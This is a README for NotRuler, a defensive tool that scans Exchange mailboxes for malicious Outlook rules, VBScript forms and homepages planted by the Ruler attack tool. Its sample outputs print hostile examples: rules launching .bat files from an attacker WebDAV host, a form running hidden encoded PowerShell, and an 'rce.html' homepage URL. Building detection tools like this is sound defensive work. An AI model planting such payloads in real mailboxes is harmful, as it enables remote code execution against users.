# Introduction

NotRuler is the opposite of [Ruler]. The tool aims to make life a little easier for Exchange Admins by allowing for the detection of both client-side rules and VBScript enabled forms. At a miminum this should allow for the detection of all attacks created through [Ruler].

NotRuler allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol.

## What does it do?

NotRuler can query one or more Exchange mailboxes and detects client-side Outlook rules and VBScript enabled forms.

* Allows Exchange Admins to check for compromise
* Check your own account for compromise
* Extract stager address for Malicious rules
* Extract VBScript used in forms
* Check for 'homepage' and extract URL

# Getting Started

Compiled binaries for Linux, OSX and Windows are available. Find these in [Releases]
information about setting up Ruler from source is found in the [getting-started guide].

# Usage

NotRuler has two modes of operation:

* Rules -- check for client-side rules
* Forms -- check for VBScript enabled forms
* Homepage -- check for a custom homepage

## Rules

The current version of NotRuler can check either a single or multiple mailboxes. These are supplied in the program arguments.

To check multiple mailboxes, create a file with one account per line:

```
john.ford@testdomain.com
henry.hammond@testdomain.com
james.smith@testdomain.com
cindy.shell@testdomain.com
```

Using the Exchange Admin account, you should be able to log into any mailbox on the Exchange server:

```
./notruler --username exchangeadmin --mailboxes /path/to/mailbox.list rules
```

You can also check your own account by using ```--self```

```
./notruler --username john.ford@testdomain.com --mailbox john.ford@testdomain.com --self rules
```

Sample output:

```
[+] Checking [john.ford@testdomain.com]
[+] Found 5 rules
[WARNING] Found client-side rule: [01000000d97851c4:pewpew3] Application: [\\myhost.somewhere.darkside.com\dav\morebad.bat]
[WARNING] Found client-side rule: [01000000d97851b9:pewpew] Application: [\\myhost.somewhere.darkside.com\dav\bad.bat]
[+] Checking [cindy.shell@testdomain.com]
[+] No Rules Found
[+] Checking [henry.hammond@testdomain.com]
[+] No Rules Found
[+] Checking [james.smith@testdomain.com]
[+] No Rules Found
```

## Forms

Same as with Rules, you need to either have a list of mailboxes or a single mailbox to check. Simply swap "rules" for "forms":

Using the Exchange Admin account, you should be able to log into any mailbox on the Exchange server:

```
./notruler --username exchangeadmin --mailboxes /path/to/mailbox.list forms
```

You can also check your own account by using ```--self```

```
./notruler --username john.ford@testdomain.com --mailbox john.ford@testdomain.com --self forms
```

Sample output:

```
[+] Checking [john.ford@testdomain.com]
[WARNING] Found form with VBScript! [IPM.Note.badform]
    Function P()
CreateObject("Wscript.Shell").Run "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAUwB0AEUAbQAuAE4AZQBUAC4AUwBFAHIAdgBJAGMAZQBQAG8ASQBOAFQATQBBAG4AYQBHAEUAcgBdADoAOgBFAHgAcABlAGMAVAAxADAAMABDAG8ATgB0AGkATgBVAEUAIA=="

[+] Checking [cindy.shell@testdomain.com]
[+] Checking [henry.hammond@testdomain.com]
[+] Checking [james.smith@testdomain.com]
```

## Homepage
 
And the same again, you need to either have a list of mailboxes or a single mailbox to check. 
 
Using the Exchange Admin account, you should be able to log into any mailbox on the Exchange server:
 
```
./notruler --username exchangeadmin --mailboxes /path/to/mailbox.list homepage
```
 
You can also check your own account by using ```--self```
 
```
./notruler --username john.ford@testdomain.com --mailbox john.ford@testdomain.com --self homepage
```
 
Sample output:
 
```
[+] Checking [john.ford@testdomain.com]
[WARNING] Found endpoint: http://attack.attackpew.com/rce.html
[+] Webview is set as ENABLED
[+] Checking [cindy.shell@testdomain.com]
[+] Checking [henry.hammond@testdomain.com]
[+] Checking [james.smith@testdomain.com]
```
